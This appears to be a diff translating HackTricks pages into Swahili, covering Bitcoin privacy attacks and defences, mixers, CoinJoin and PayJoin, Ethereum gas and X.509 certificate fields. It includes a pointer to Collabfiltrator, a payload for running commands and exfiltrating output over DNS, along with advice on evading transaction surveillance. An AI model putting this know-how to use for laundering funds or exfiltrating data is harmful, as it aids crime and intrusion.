A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
Tofauti ya CoinJoin, **PayJoin** (au P2EP), inaficha muamala kati ya pande mbili (kwa mfano, mteja na mfanyabiashara) kama muamala wa kawaida, bila sifa ya matokeo sawa ya CoinJoin. Hii inafanya iwe ngumu sana kugundua na inaweza kubatilisha heuristics ya umiliki wa ingizo la kawaida inayotumiwa na mashirika ya ufuatiliaji wa muamala.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Transactions kama hizo zinaweza kuwa PayJoin, ikiongeza faragha wakati inabaki kuwa isiyo na tofauti na muamala wa kawaida wa bitcoin.
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
**Matumizi ya PayJoin yanaweza kuathiri kwa kiasi kikubwa mbinu za ufuatiliaji wa jadi**, na kuifanya kuwa maendeleo ya ahadi katika kutafuta faragha ya muamala.
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
# Mbinu Bora za Faragha katika Cryptocurrencies
# Best Practices for Privacy in Cryptocurrencies
## **Mbinu za Usawazishaji wa Wallet**
## **Wallet Synchronization Techniques**
Ili kudumisha faragha na usalama, kusawazisha wallets na blockchain ni muhimu. Mbinu mbili zinajitokeza:
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
- **Node kamili**: Kwa kupakua blockchain yote, node kamili inahakikisha faragha ya juu. Muamala wote ambao umewahi kufanywa huhifadhiwa kwa ndani, na kufanya iwe vigumu kwa maadui kubaini ni muamala gani au anwani ambazo mtumiaji anavutiwa nazo.
- **Filtering ya block upande wa mteja**: Mbinu hii inahusisha kuunda filters kwa kila block katika blockchain, ikiruhusu wallets kubaini muamala muhimu bila kufichua maslahi maalum kwa waangalizi wa mtandao. Wallets nyepesi hupakua filters hizi, zikichukua blocks kamili tu wakati kuna mechi na anwani za mtumiaji.
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
## **Kutumia Tor kwa Anonymity**
## **Utilizing Tor for Anonymity**
Kwa kuwa Bitcoin inafanya kazi kwenye mtandao wa mtu kwa mtu, kutumia Tor inapendekezwa kuficha anwani yako ya IP, ikiongeza faragha unaposhirikiana na mtandao.
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
## **Kuzuia Utumiaji wa Anwani Tena**
## **Preventing Address Reuse**
Ili kulinda faragha, ni muhimu kutumia anwani mpya kwa kila muamala. Kutumia tena anwani kunaweza kuhatarisha faragha kwa kuunganisha muamala na entiti ile ile. Wallets za kisasa zinakataa matumizi ya anwani tena kupitia muundo wao.
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
## **Mikakati ya Faragha ya Muamala**
## **Strategies for Transaction Privacy**
- **Muamala mingi**: Kugawanya malipo katika muamala kadhaa kunaweza kuficha kiasi cha muamala, kukatisha mashambulizi ya faragha.
- **Kuepuka mabadiliko**: Kuchagua muamala ambao hauhitaji matokeo ya mabadiliko kunaboresha faragha kwa kuvuruga mbinu za kugundua mabadiliko.
- **Matokeo mengi ya mabadiliko**: Ikiwa kuepuka mabadiliko si rahisi, kuunda matokeo mengi ya mabadiliko bado kunaweza kuboresha faragha.
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
# **Monero: Mwanga wa Anonymity**
# **Monero: A Beacon of Anonymity**
Monero inakidhi hitaji la anonymity kamili katika muamala za kidijitali, ikiweka kiwango cha juu cha faragha.
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
# **Ethereum: Gesi na Muamala**
# **Ethereum: Gas and Transactions**
## **Kuelewa Gesi**
## **Understanding Gas**
Gesi hupima juhudi za kompyuta zinazohitajika kutekeleza operesheni kwenye Ethereum, ikipimwa kwa **gwei**. Kwa mfano, muamala unaogharimu 2,310,000 gwei (au 0.00231 ETH) unahusisha kikomo cha gesi na ada ya msingi, pamoja na tips ili kuwahamasisha wachimbaji. Watumiaji wanaweza kuweka ada ya juu ili kuhakikisha hawalipi zaidi, na ziada inarejeshwa.
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
## **Kutekeleza Muamala**
## **Executing Transactions**
Muamala katika Ethereum unahusisha mtumaji na mpokeaji, ambao unaweza kuwa anwani za mtumiaji au mkataba smart. Wanahitaji ada na lazima wachimbwe. Taarifa muhimu katika muamala inajumuisha mpokeaji, sahihi ya mtumaji, thamani, data ya hiari, kikomo cha gesi, na ada. Kwa kuzingatia, anwani ya mtumaji inapatikana kutoka kwa sahihi, ikiondoa hitaji lake katika data ya muamala.
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
Mbinu na mifumo hii ni msingi kwa yeyote anayetaka kushiriki na cryptocurrencies huku akipa kipaumbele faragha na usalama.
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
## References
## Marejeo
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)

View File

@ -5,7 +5,7 @@
- **Orodha Rahisi:** Orodha tu yenye kipengee katika kila mstari
- **Faili ya Wakati wa Uendeshaji:** Orodha inayosomwa wakati wa uendeshaji (siyo iliyopakuliwa kwenye kumbukumbu). Kwa kusaidia orodha kubwa.
- **Mabadiliko ya Kesi:** Fanya mabadiliko fulani kwenye orodha ya nyuzi (Hakuna mabadiliko, kwa chini, kwa JUU, kwa Jina Sahihi - Kwanza kuandikwa kwa herufi kubwa na zingine kwa chini-, kwa Jina Sahihi -Kwanza kuandikwa kwa herufi kubwa na zingine zinabaki vile vile-).
- **Nambari:** Tengeneza nambari kutoka X hadi Y ukitumia hatua Z au kwa bahati nasibu.
- **Nambari:** Tengeneza nambari kutoka X hadi Y kwa kutumia hatua Z au kwa bahati nasibu.
- **Brute Forcer:** Seti ya wahusika, urefu wa chini na wa juu.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload ya kutekeleza amri na kupata matokeo kupitia maombi ya DNS kwa burpcollab.

View File

@ -1,180 +1,176 @@
{{#include ../banners/hacktricks-training.md}}
## Basic Concepts
## Misingi ya Kimsingi
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
- **Smart Contracts** zin defined kama programu zinazotekelezwa kwenye blockchain wakati masharti fulani yanatimizwa, zikifanya kiotomatiki utekelezaji wa makubaliano bila wahusika wa kati.
- **Decentralized Applications (dApps)** zinajengwa juu ya smart contracts, zikiwa na muonekano wa kirafiki kwa mtumiaji na nyuma ya pazia inayoweza kukaguliwa kwa uwazi.
- **Tokens & Coins** zinatofautisha ambapo coins hutumikia kama pesa za kidijitali, wakati tokens zinawakilisha thamani au umiliki katika muktadha maalum.
- **Utility Tokens** zinatoa ufikiaji wa huduma, na **Security Tokens** zinamaanisha umiliki wa mali.
- **DeFi** inasimama kwa Decentralized Finance, ikitoa huduma za kifedha bila mamlaka za kati.
- **DEX** na **DAOs** zinarejelea Mifumo ya Kubadilishana Isiyo na Kati na Mashirika ya Kujitegemea Yasiyo na Kati, mtawalia.
## Consensus Mechanisms
## Mekanismu za Makubaliano
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
Mekanismu za makubaliano zinahakikisha uthibitisho salama na wa makubaliano wa muamala kwenye blockchain:
- **Proof of Work (PoW)** relies on computational power for transaction verification.
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
- **Proof of Work (PoW)** inategemea nguvu za kompyuta kwa ajili ya uthibitisho wa muamala.
- **Proof of Stake (PoS)** inahitaji waithibitishaji kushikilia kiasi fulani cha tokens, ikipunguza matumizi ya nishati ikilinganishwa na PoW.
## Bitcoin Essentials
## Msingi wa Bitcoin
### Transactions
### Muamala
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
Muamala wa Bitcoin unahusisha kuhamasisha fedha kati ya anwani. Muamala unathibitishwa kupitia saini za kidijitali, kuhakikisha ni mmiliki pekee wa funguo za faragha anayeweza kuanzisha uhamasishaji.
#### Key Components:
#### Vipengele Muhimu:
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
- **Muamala wa Multisignature** unahitaji saini nyingi ili kuidhinisha muamala.
- Muamala unajumuisha **inputs** (chanzo cha fedha), **outputs** (kikundi), **fees** (zilizolipwa kwa wachimbaji), na **scripts** (sheria za muamala).
### Lightning Network
### Mtandao wa Mwanga
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
Unalenga kuboresha uwezo wa Bitcoin kwa kuruhusu muamala mwingi ndani ya channel, ukitangaza tu hali ya mwisho kwenye blockchain.
## Bitcoin Privacy Concerns
## Wasiwasi wa Faragha wa Bitcoin
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
Mashambulizi ya faragha, kama vile **Common Input Ownership** na **UTXO Change Address Detection**, yanatumia mifumo ya muamala. Mikakati kama **Mixers** na **CoinJoin** inaboresha kutotambulika kwa kuficha viungo vya muamala kati ya watumiaji.
## Acquiring Bitcoins Anonymously
## Kupata Bitcoins kwa Njia ya Siri
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
Mbinu zinajumuisha biashara za pesa taslimu, uchimbaji, na kutumia mixers. **CoinJoin** inachanganya muamala mingi ili kuleta ugumu katika kufuatilia, wakati **PayJoin** inaficha CoinJoins kama muamala wa kawaida kwa ajili ya faragha zaidi.
# Bitcoin Privacy Atacks
# Mashambulizi ya Faragha ya Bitcoin
# Summary of Bitcoin Privacy Attacks
# Muhtasari wa Mashambulizi ya Faragha ya Bitcoin
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
Katika ulimwengu wa Bitcoin, faragha ya muamala na kutotambulika kwa watumiaji mara nyingi ni mada za wasiwasi. Hapa kuna muonekano rahisi wa mbinu kadhaa za kawaida ambazo washambuliaji wanaweza kuathiri faragha ya Bitcoin.
## **Common Input Ownership Assumption**
## **Ushirikiano wa Kawaida wa Ingizo**
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
Kwa kawaida ni nadra kwa ingizo kutoka kwa watumiaji tofauti kuunganishwa katika muamala mmoja kutokana na ugumu uliohusika. Hivyo, **anwani mbili za ingizo katika muamala mmoja mara nyingi zinadhaniwa kuwa za mmiliki mmoja**.
## **UTXO Change Address Detection**
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
UTXO, au **Unspent Transaction Output**, lazima itumike kabisa katika muamala. Ikiwa sehemu tu yake inatumwa kwa anwani nyingine, iliyobaki inaenda kwa anwani mpya ya mabadiliko. Waangalizi wanaweza kudhani anwani hii mpya inamhusu mtumaji, ikihatarisha faragha.
### Example
### Mfano
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
Ili kupunguza hili, huduma za kuchanganya au kutumia anwani nyingi zinaweza kusaidia kuficha umiliki.
## **Social Networks & Forums Exposure**
## **Kuwekwa kwa Mitandao ya Kijamii na Majukwaa**
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
Watumiaji wakati mwingine hushiriki anwani zao za Bitcoin mtandaoni, na kufanya **rahisi kuunganisha anwani hiyo na mmiliki wake**.
## **Transaction Graph Analysis**
## **Analizi ya Grafu za Muamala**
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
Muamala unaweza kuonyeshwa kama grafu, ikifunua uhusiano wa uwezekano kati ya watumiaji kulingana na mtiririko wa fedha.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
## **Heuristics ya Ingizo Isiyo ya Lazima (Heuristic ya Mabadiliko Bora)**
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
### Example
Heuristic hii inategemea kuchambua muamala wenye ingizo nyingi na matokeo ili kudhani ni ipi kati ya matokeo ni mabadiliko yanayorejea kwa mtumaji.
### Mfano
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Ikiwa kuongeza ingizo zaidi kunafanya mabadiliko ya pato kuwa makubwa zaidi kuliko ingizo lolote, inaweza kuchanganya heuristics.
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Kurudi kwa Anwani Zilizo Lazimishwa**
## **Forced Address Reuse**
Washambuliaji wanaweza kutuma kiasi kidogo kwa anwani zilizotumika hapo awali, wakitumai mpokeaji atachanganya hizi na ingizo zingine katika miamala ya baadaye, hivyo kuunganisha anwani pamoja.
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### Tabia Sahihi ya Wallet
### Correct Wallet Behavior
Wallet zinapaswa kuepuka kutumia sarafu zilizopokelewa kwenye anwani ambazo tayari zimetumika, ili kuzuia uvujaji huu wa faragha.
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
## **Mbinu Nyingine za Uchambuzi wa Blockchain**
## **Other Blockchain Analysis Techniques**
- **Kiasi Sahihi cha Malipo:** Miamala bila mabadiliko yanaweza kuwa kati ya anwani mbili zinazomilikiwa na mtumiaji mmoja.
- **Nambari za Mzunguko:** Nambari ya mzunguko katika muamala inaonyesha ni malipo, huku pato lisilo la mzunguko likiwa ni mabadiliko.
- **Fingerprinting ya Wallet:** Wallet tofauti zina mifumo ya kipekee ya kuunda miamala, ikiruhusu wachambuzi kubaini programu iliyotumika na labda anwani ya mabadiliko.
- **Uhusiano wa Kiasi na Wakati:** Kufichua nyakati za muamala au kiasi kunaweza kufanya miamala iweze kufuatiliwa.
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
## **Uchambuzi wa Trafiki**
## **Traffic Analysis**
Kwa kufuatilia trafiki ya mtandao, washambuliaji wanaweza kuunganisha miamala au vizuizi na anwani za IP, wakihatarisha faragha ya mtumiaji. Hii ni kweli hasa ikiwa shirika linaendesha nodi nyingi za Bitcoin, kuimarisha uwezo wao wa kufuatilia miamala.
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
## Zaidi
## More
Kwa orodha kamili ya mashambulizi ya faragha na ulinzi, tembelea [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Miamala ya Bitcoin Isiyo na Jina
# Anonymous Bitcoin Transactions
## Njia za Kupata Bitcoins kwa Njia Isiyo na Jina
## Ways to Get Bitcoins Anonymously
- **Miamala ya Fedha Taslimu**: Kupata bitcoin kupitia fedha taslimu.
- **Mbadala za Fedha Taslimu**: Kununua kadi za zawadi na kuzibadilisha mtandaoni kwa bitcoin.
- **Uchimbaji**: Njia ya faragha zaidi ya kupata bitcoins ni kupitia uchimbaji, hasa inapofanywa peke yake kwa sababu mizunguko ya uchimbaji inaweza kujua anwani ya IP ya mchimbaji. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Wizi**: Kimsingi, kuiba bitcoin kunaweza kuwa njia nyingine ya kuipata kwa njia isiyo na jina, ingawa ni haramu na haipendekezwi.
- **Cash Transactions**: Acquiring bitcoin through cash.
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
## Huduma za Mchanganyiko
## Mixing Services
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
Kwa kutumia huduma ya mchanganyiko, mtumiaji anaweza **kutuma bitcoins** na kupokea **bitcoins tofauti kwa kurudi**, ambayo inafanya kufuatilia mmiliki wa asili kuwa ngumu. Hata hivyo, hii inahitaji kuaminika kwa huduma hiyo kutoshika kumbukumbu na kurudisha bitcoins kwa kweli. Chaguzi mbadala za mchanganyiko ni pamoja na kasino za Bitcoin.
## CoinJoin
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
**CoinJoin** inachanganya miamala kadhaa kutoka kwa watumiaji tofauti kuwa moja, ikifanya mchakato kuwa mgumu kwa yeyote anayejaribu kulinganisha ingizo na pato. Licha ya ufanisi wake, miamala yenye ukubwa wa kipekee wa ingizo na pato bado inaweza kufuatiliwa.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Mifano ya miamala ambayo inaweza kuwa imetumia CoinJoin ni `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` na `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
Kwa maelezo zaidi, tembelea [CoinJoin](https://coinjoin.io/en). Kwa huduma sawa kwenye Ethereum, angalia [Tornado Cash](https://tornado.cash), ambayo inafanya miamala kuwa isiyo na jina kwa fedha kutoka kwa wachimbaji.
## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
Tofauti ya CoinJoin, **PayJoin** (au P2EP), inaficha muamala kati ya pande mbili (kwa mfano, mteja na mfanyabiashara) kama muamala wa kawaida, bila sifa ya pato sawa ya CoinJoin. Hii inafanya iwe ngumu sana kugundua na inaweza kubatilisha heuristics ya umiliki wa ingizo la kawaida inayotumiwa na vyombo vya ufuatiliaji wa muamala.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Transactions kama hizo zinaweza kuwa PayJoin, ikiongeza faragha wakati inabaki kuwa isiyo na tofauti na muamala wa kawaida wa bitcoin.
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
**Matumizi ya PayJoin yanaweza kuvuruga kwa kiasi kikubwa mbinu za ufuatiliaji wa jadi**, na kuifanya kuwa maendeleo ya ahadi katika juhudi za faragha ya muamala.
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
# Mbinu Bora za Faragha katika Cryptocurrencies
# Best Practices for Privacy in Cryptocurrencies
## **Mbinu za Usawazishaji wa Wallet**
## **Wallet Synchronization Techniques**
Ili kudumisha faragha na usalama, kusawazisha wallets na blockchain ni muhimu. Mbinu mbili zinajitokeza:
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
- **Node kamili**: Kwa kupakua blockchain yote, node kamili inahakikisha faragha ya juu. Muamala wote waliowahi kufanywa huhifadhiwa kwa ndani, na kufanya iwe vigumu kwa maadui kubaini ni muamala gani au anwani gani mtumiaji anavutiwa nayo.
- **Filtering ya block upande wa mteja**: Mbinu hii inahusisha kuunda filters kwa kila block katika blockchain, ikiruhusu wallets kubaini muamala muhimu bila kufichua maslahi maalum kwa waangalizi wa mtandao. Wallets nyepesi hupakua filters hizi, zikichukua blocks kamili tu wakati kuna mechi na anwani za mtumiaji.
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
## **Kutumia Tor kwa Anonymity**
## **Utilizing Tor for Anonymity**
Kwa kuwa Bitcoin inafanya kazi kwenye mtandao wa peer-to-peer, kutumia Tor inapendekezwa ili kuficha anwani yako ya IP, ikiongeza faragha unaposhirikiana na mtandao.
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
## **Kuzuia Utumiaji wa Anwani Tena**
## **Preventing Address Reuse**
Ili kulinda faragha, ni muhimu kutumia anwani mpya kwa kila muamala. Kutumia tena anwani kunaweza kuhatarisha faragha kwa kuunganisha muamala na entiti ile ile. Wallets za kisasa zinakataza matumizi ya anwani tena kupitia muundo wao.
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
## **Mikakati ya Faragha ya Muamala**
## **Strategies for Transaction Privacy**
- **Muamala mingi**: Kugawanya malipo katika muamala kadhaa kunaweza kuficha kiasi cha muamala, kukatisha mashambulizi ya faragha.
- **Kuepuka mabadiliko**: Kuchagua muamala ambao hauhitaji matokeo ya mabadiliko kunaongeza faragha kwa kuvuruga mbinu za kugundua mabadiliko.
- **Matokeo mengi ya mabadiliko**: Ikiwa kuepuka mabadiliko si rahisi, kuunda matokeo mengi ya mabadiliko bado kunaweza kuboresha faragha.
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
# **Monero: Mwanga wa Anonymity**
# **Monero: A Beacon of Anonymity**
Monero inakidhi hitaji la anonymity kamili katika muamala wa kidijitali, ikipanga kiwango cha juu cha faragha.
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
# **Ethereum: Gesi na Muamala**
# **Ethereum: Gas and Transactions**
## **Kuelewa Gesi**
## **Understanding Gas**
Gesi hupima juhudi za kompyuta zinazohitajika kutekeleza operesheni kwenye Ethereum, ikipimwa kwa **gwei**. Kwa mfano, muamala unaogharimu 2,310,000 gwei (au 0.00231 ETH) unahusisha kikomo cha gesi na ada ya msingi, pamoja na tips ili kuwahamasisha wachimbaji. Watumiaji wanaweza kuweka ada ya juu ili kuhakikisha hawalipi zaidi, na ziada inarejeshwa.
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
## **Kutekeleza Muamala**
## **Executing Transactions**
Muamala katika Ethereum unahusisha mtumaji na mpokeaji, ambao unaweza kuwa anwani za mtumiaji au mkataba smart. Wanahitaji ada na lazima wachimbwe. Taarifa muhimu katika muamala inajumuisha mpokeaji, sahihi ya mtumaji, thamani, data ya hiari, kikomo cha gesi, na ada. Kwa kuzingatia, anwani ya mtumaji inapatikana kutoka kwa sahihi, ikiondoa hitaji lake katika data ya muamala.
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
Mbinu na mifumo hii ni msingi kwa yeyote anayetaka kushiriki na cryptocurrencies huku akipa kipaumbele faragha na usalama.
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
## References
## Marejeo
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)

View File

@ -2,46 +2,37 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
## What is a Certificate
A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
A **public key certificate** ni kitambulisho cha kidijitali kinachotumika katika cryptography kuthibitisha kwamba mtu anamiliki funguo ya umma. Inajumuisha maelezo ya funguo, utambulisho wa mmiliki (mhusika), na saini ya kidijitali kutoka kwa mamlaka inayotegemewa (mtoaji). Ikiwa programu inategemea mtoaji na saini ni halali, mawasiliano salama na mmiliki wa funguo yanawezekana.
Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each others keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
Vyeti kwa kawaida vinatolewa na [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) katika muundo wa [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Njia nyingine ni [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), ambapo watumiaji wanathibitisha funguo za kila mmoja moja kwa moja. Muundo wa kawaida wa vyeti ni [X.509](https://en.wikipedia.org/wiki/X.509), ambayo inaweza kubadilishwa kwa mahitaji maalum kama ilivyoelezwa katika RFC 5280.
## x509 Common Fields
### **Common Fields in x509 Certificates**
In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
Katika vyeti vya x509, sehemu kadhaa **fields** zina jukumu muhimu katika kuhakikisha halali na usalama wa cheti. Hapa kuna muhtasari wa sehemu hizi:
- **Version Number** signifies the x509 format's version.
- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
- **Common Name (CN)**: Domains covered by the certificate.
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
- **Distinguished Name (DN)** encapsulates the full subject identification.
- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
- **Version Number** inaashiria toleo la muundo wa x509.
- **Serial Number** inatambulisha kipekee cheti ndani ya mfumo wa Mamlaka ya Cheti (CA), hasa kwa ajili ya kufuatilia kufutwa.
- Sehemu ya **Subject** inawakilisha mmiliki wa cheti, ambaye anaweza kuwa mashine, mtu binafsi, au shirika. Inajumuisha utambulisho wa kina kama:
- **Common Name (CN)**: Majina ya maeneo yanayofunikwa na cheti.
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, na **Organizational Unit (OU)** zinatoa maelezo ya kijiografia na ya shirika.
